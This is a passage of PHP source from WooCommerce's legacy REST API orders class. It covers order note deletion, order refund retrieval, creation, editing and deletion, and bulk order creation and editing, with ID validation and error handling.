WC_Data_Exception $e ) { return new WP_Error( $e->getErrorCode(), $e->getMessage(), array( 'status' => 400 ) ); } catch ( WC_API_Exception $e ) { return new WP_Error( $e->getErrorCode(), $e->getMessage(), array( 'status' => $e->getCode() ) ); } } /** * Delete order note * * @since 2.2 * @param string $order_id order ID * @param string $id note ID * @return WP_Error|array error or deleted message */ public function delete_order_note( $order_id, $id ) { try { $order_id = $this->validate_request( $order_id, $this->post_type, 'delete' ); if ( is_wp_error( $order_id ) ) { return $order_id; } // Validate note ID $id = absint( $id ); if ( empty( $id ) ) { throw new WC_API_Exception( 'woocommerce_api_invalid_order_note_id', __( 'Invalid order note ID', 'woocommerce' ), 400 ); } // Ensure note ID is valid $note = get_comment( $id ); if ( is_null( $note ) ) { throw new WC_API_Exception( 'woocommerce_api_invalid_order_note_id', __( 'An order note with the provided ID could not be found', 'woocommerce' ), 404 ); } // Ensure note ID is associated with given order if ( $note->comment_post_ID != $order_id ) { throw new WC_API_Exception( 'woocommerce_api_invalid_order_note_id', __( 'The order note ID provided is not associated with the order', 'woocommerce' ), 400 ); } // Force delete since trashed order notes could not be managed through comments list table $result = wc_delete_order_note( $note->comment_ID ); if ( ! $result ) { throw new WC_API_Exception( 'woocommerce_api_cannot_delete_order_note', __( 'This order note cannot be deleted', 'woocommerce' ), 500 ); } do_action( 'woocommerce_api_delete_order_note', $note->comment_ID, $order_id, $this ); return array( 'message' => __( 'Permanently deleted order note', 'woocommerce' ) ); } catch ( WC_API_Exception $e ) { return new WP_Error( $e->getErrorCode(), $e->getMessage(), array( 'status' => $e->getCode() ) ); } } /** * Get the order refunds for an order * * @since 2.2 * @param string $order_id order ID * @param string|null $fields fields to include in response * @return array|WP_Error */ public function get_order_refunds( $order_id, $fields = null ) { // Ensure ID is valid order ID $order_id = $this->validate_request( $order_id, $this->post_type, 'read' ); if ( is_wp_error( $order_id ) ) { return $order_id; } $refund_items = wc_get_orders( array( 'type' => 'shop_order_refund', 'parent' => $order_id, 'limit' => -1, 'return' => 'ids', ) ); $order_refunds = array(); foreach ( $refund_items as $refund_id ) { $order_refunds[] = current( $this->get_order_refund( $order_id, $refund_id, $fields ) ); } return array( 'order_refunds' => apply_filters( 'woocommerce_api_order_refunds_response', $order_refunds, $order_id, $fields, $refund_items, $this ) ); } /** * Get an order refund for the given order ID and ID * * @since 2.2 * * @param string $order_id order ID * @param int $id * @param string|null $fields fields to limit response to * @param array $filter * * @return array|WP_Error */ public function get_order_refund( $order_id, $id, $fields = null, $filter = array() ) { try { // Validate order ID $order_id = $this->validate_request( $order_id, $this->post_type, 'read' ); if ( is_wp_error( $order_id ) ) { return $order_id; } $id = absint( $id ); if ( empty( $id ) ) { throw new WC_API_Exception( 'woocommerce_api_invalid_order_refund_id', __( 'Invalid order refund ID.', 'woocommerce' ), 400 ); } $order = wc_get_order( $order_id ); $refund = wc_get_order( $id ); if ( ! $refund ) { throw new WC_API_Exception( 'woocommerce_api_invalid_order_refund_id', __( 'An order refund with the provided ID could not be found.', 'woocommerce' ), 404 ); } $line_items = array(); // Add line items foreach ( $refund->get_items( 'line_item' ) as $item_id => $item ) { $product = $item->get_product(); $hideprefix = ( isset( $filter['all_item_meta'] ) && 'true' === $filter['all_item_meta'] ) ? null : '_'; $item_meta = $item->get_all_formatted_meta_data( $hideprefix ); foreach ( $item_meta as $key => $values ) { $item_meta[ $key ]->label = $values->display_key; unset( $item_meta[ $key ]->display_key ); unset( $item_meta[ $key ]->display_value ); } $line_items[] = array( 'id' => $item_id, 'subtotal' => wc_format_decimal( $order->get_line_subtotal( $item ), 2 ), 'subtotal_tax' => wc_format_decimal( $item->get_subtotal_tax(), 2 ), 'total' => wc_format_decimal( $order->get_line_total( $item ), 2 ), 'total_tax' => wc_format_decimal( $order->get_line_tax( $item ), 2 ), 'price' => wc_format_decimal( $order->get_item_total( $item ), 2 ), 'quantity' => $item->get_quantity(), 'tax_class' => $item->get_tax_class(), 'name' => $item->get_name(), 'product_id' => $item->get_variation_id() ? $item->get_variation_id() : $item->get_product_id(), 'sku' => is_object( $product ) ? $product->get_sku() : null, 'meta' => array_values( $item_meta ), 'refunded_item_id' => (int) $item->get_meta( 'refunded_item_id' ), ); } $order_refund = array( 'id' => $refund->get_id(), 'created_at' => $this->server->format_datetime( $refund->get_date_created() ? $refund->get_date_created()->getTimestamp() : 0, false, false ), 'amount' => wc_format_decimal( $refund->get_amount(), 2 ), 'reason' => $refund->get_reason(), 'line_items' => $line_items, ); return array( 'order_refund' => apply_filters( 'woocommerce_api_order_refund_response', $order_refund, $id, $fields, $refund, $order_id, $this ) ); } catch ( WC_API_Exception $e ) { return new WP_Error( $e->getErrorCode(), $e->getMessage(), array( 'status' => $e->getCode() ) ); } } /** * Create a new order refund for the given order * * @since 2.2 * @param string $order_id order ID * @param array $data raw request data * @param bool $api_refund do refund using a payment gateway API * @return WP_Error|array error or created refund response data */ public function create_order_refund( $order_id, $data, $api_refund = true ) { try { if ( ! isset( $data['order_refund'] ) ) { throw new WC_API_Exception( 'woocommerce_api_missing_order_refund_data', sprintf( __( 'No %1$s data specified to create %1$s', 'woocommerce' ), 'order_refund' ), 400 ); } $data = $data['order_refund']; // Permission check if ( ! current_user_can( 'publish_shop_orders' ) ) { throw new WC_API_Exception( 'woocommerce_api_user_cannot_create_order_refund', __( 'You do not have permission to create order refunds', 'woocommerce' ), 401 ); } $order_id = absint( $order_id ); if ( empty( $order_id ) ) { throw new WC_API_Exception( 'woocommerce_api_invalid_order_id', __( 'Order ID is invalid', 'woocommerce' ), 400 ); } $data = apply_filters( 'woocommerce_api_create_order_refund_data', $data, $order_id, $this ); // Refund amount is required if ( ! isset( $data['amount'] ) ) { throw new WC_API_Exception( 'woocommerce_api_invalid_order_refund', __( 'Refund amount is required.', 'woocommerce' ), 400 ); } elseif ( 0 > $data['amount'] ) { throw new WC_API_Exception( 'woocommerce_api_invalid_order_refund', __( 'Refund amount must be positive.', 'woocommerce' ), 400 ); } $data['order_id'] = $order_id; $data['refund_id'] = 0; // Create the refund $refund = wc_create_refund( $data ); if ( ! $refund ) { throw new WC_API_Exception( 'woocommerce_api_cannot_create_order_refund', __( 'Cannot create order refund, please try again.', 'woocommerce' ), 500 ); } // Refund via API if ( $api_refund ) { if ( WC()->payment_gateways() ) { $payment_gateways = WC()->payment_gateways->payment_gateways(); } $order = wc_get_order( $order_id ); if ( isset( $payment_gateways[ $order->get_payment_method() ] ) && $payment_gateways[ $order->get_payment_method() ]->supports( 'refunds' ) ) { $result = $payment_gateways[ $order->get_payment_method() ]->process_refund( $order_id, $refund->get_amount(), $refund->get_reason() ); if ( is_wp_error( $result ) ) { return $result; } elseif ( ! $result ) { throw new WC_API_Exception( 'woocommerce_api_create_order_refund_api_failed', __( 'An error occurred while attempting to create the refund using the payment gateway API.', 'woocommerce' ), 500 ); } } } // HTTP 201 Created $this->server->send_status( 201 ); do_action( 'woocommerce_api_create_order_refund', $refund->get_id(), $order_id, $this ); return $this->get_order_refund( $order_id, $refund->get_id() ); } catch ( WC_Data_Exception $e ) { return new WP_Error( $e->getErrorCode(), $e->getMessage(), array( 'status' => 400 ) ); } catch ( WC_API_Exception $e ) { return new WP_Error( $e->getErrorCode(), $e->getMessage(), array( 'status' => $e->getCode() ) ); } } /** * Edit an order refund * * @since 2.2 * @param string $order_id order ID * @param string $id refund ID * @param array $data parsed request data * @return WP_Error|array error or edited refund response data */ public function edit_order_refund( $order_id, $id, $data ) { try { if ( ! isset( $data['order_refund'] ) ) { throw new WC_API_Exception( 'woocommerce_api_missing_order_refund_data', sprintf( __( 'No %1$s data specified to edit %1$s', 'woocommerce' ), 'order_refund' ), 400 ); } $data = $data['order_refund']; // Validate order ID $order_id = $this->validate_request( $order_id, $this->post_type, 'edit' ); if ( is_wp_error( $order_id ) ) { return $order_id; } // Validate refund ID $id = absint( $id ); if ( empty( $id ) ) { throw new WC_API_Exception( 'woocommerce_api_invalid_order_refund_id', __( 'Invalid order refund ID.', 'woocommerce' ), 400 ); } // Ensure order ID is valid $refund = get_post( $id ); if ( ! $refund ) { throw new WC_API_Exception( 'woocommerce_api_invalid_order_refund_id', __( 'An order refund with the provided ID could not be found.', 'woocommerce' ), 404 ); } // Ensure refund ID is associated with given order if ( $refund->post_parent != $order_id ) { throw new WC_API_Exception( 'woocommerce_api_invalid_order_refund_id', __( 'The order refund ID provided is not associated with the order.', 'woocommerce' ), 400 ); } $data = apply_filters( 'woocommerce_api_edit_order_refund_data', $data, $refund->ID, $order_id, $this ); // Update reason if ( isset( $data['reason'] ) ) { $updated_refund = wp_update_post( array( 'ID' => $refund->ID, 'post_excerpt' => $data['reason'] ) ); if ( is_wp_error( $updated_refund ) ) { return $updated_refund; } } // Update refund amount if ( isset( $data['amount'] ) && 0 < $data['amount'] ) { update_post_meta( $refund->ID, '_refund_amount', wc_format_decimal( $data['amount'] ) ); } do_action( 'woocommerce_api_edit_order_refund', $refund->ID, $order_id, $this ); return $this->get_order_refund( $order_id, $refund->ID ); } catch ( WC_Data_Exception $e ) { return new WP_Error( $e->getErrorCode(), $e->getMessage(), array( 'status' => 400 ) ); } catch ( WC_API_Exception $e ) { return new WP_Error( $e->getErrorCode(), $e->getMessage(), array( 'status' => $e->getCode() ) ); } } /** * Delete order refund * * @since 2.2 * @param string $order_id order ID * @param string $id refund ID * @return WP_Error|array error or deleted message */ public function delete_order_refund( $order_id, $id ) { try { $order_id = $this->validate_request( $order_id, $this->post_type, 'delete' ); if ( is_wp_error( $order_id ) ) { return $order_id; } // Validate refund ID $id = absint( $id ); if ( empty( $id ) ) { throw new WC_API_Exception( 'woocommerce_api_invalid_order_refund_id', __( 'Invalid order refund ID.', 'woocommerce' ), 400 ); } // Ensure refund ID is valid $refund = get_post( $id ); if ( ! $refund ) { throw new WC_API_Exception( 'woocommerce_api_invalid_order_refund_id', __( 'An order refund with the provided ID could not be found.', 'woocommerce' ), 404 ); } // Ensure refund ID is associated with given order if ( $refund->post_parent != $order_id ) { throw new WC_API_Exception( 'woocommerce_api_invalid_order_refund_id', __( 'The order refund ID provided is not associated with the order.', 'woocommerce' ), 400 ); } wc_delete_shop_order_transients( $order_id ); do_action( 'woocommerce_api_delete_order_refund', $refund->ID, $order_id, $this ); return $this->delete( $refund->ID, 'refund', true ); } catch ( WC_API_Exception $e ) { return new WP_Error( $e->getErrorCode(), $e->getMessage(), array( 'status' => $e->getCode() ) ); } } /** * Bulk update or insert orders * Accepts an array with orders in the formats supported by * WC_API_Orders->create_order() and WC_API_Orders->edit_order() * * @since 2.4.0 * * @param array $data * * @return array|WP_Error */ public function bulk( $data ) { try { if ( ! isset( $data['orders'] ) ) { throw new WC_API_Exception( 'woocommerce_api_missing_orders_data', sprintf( __( 'No %1$s data specified to create/edit %1$s', 'woocommerce' ), 'orders' ), 400 ); } $data = $data['orders']; $limit = apply_filters( 'woocommerce_api_bulk_limit', 100, 'orders' ); // Limit bulk operation if ( count( $data ) > $limit ) { throw new WC_API_Exception( 'woocommerce_api_orders_request_entity_too_large', sprintf( __( 'Unable to accept more than %s items for this request.', 'woocommerce' ), $limit ), 413 ); } $orders = array(); foreach ( $data as $_order ) { $order_id = 0; // Try to get the order ID if ( isset( $_order['id'] ) ) { $order_id = intval( $_order['id'] ); } // Order exists / edit order if ( $order_id ) { $edit = $this->edit_order( $order_id, array( 'order' => $_order ) ); if ( is_wp_error( $edit ) ) { $orders[] = array( 'id' => $order_id, 'error' => array( 'code' => $edit->get_error_code(), 'message' => $edit->get_error_message() ), ); } else { $orders[] = $edit['order']; } } else { // Order don't exists / create order $new = $this->create_order( array( 'order' => $_order ) ); if ( is_wp_error( $new ) ) { $orders[] = array( 'id' => $order_id, 'error' => array( 'code' => $new->get_error_code(), 'message' => $new->get_error_message() ), ); } else { $orders[] = $new['order']; } } } return array( 'orders' => apply_filters( 'woocommerce_api_orders_bulk_response', $orders, $this ) ); } catch ( WC_Data_Exception $e ) { return new WP_Error( $e->getErrorCode(), $e->getMessage(), array( 'status' => 400 ) ); } catch ( WC_API_Exception $e ) { return new WP_Error( $e->getErrorCode(), $e->getMessage(), array( 'status' => $e->getCode() ) ); } } }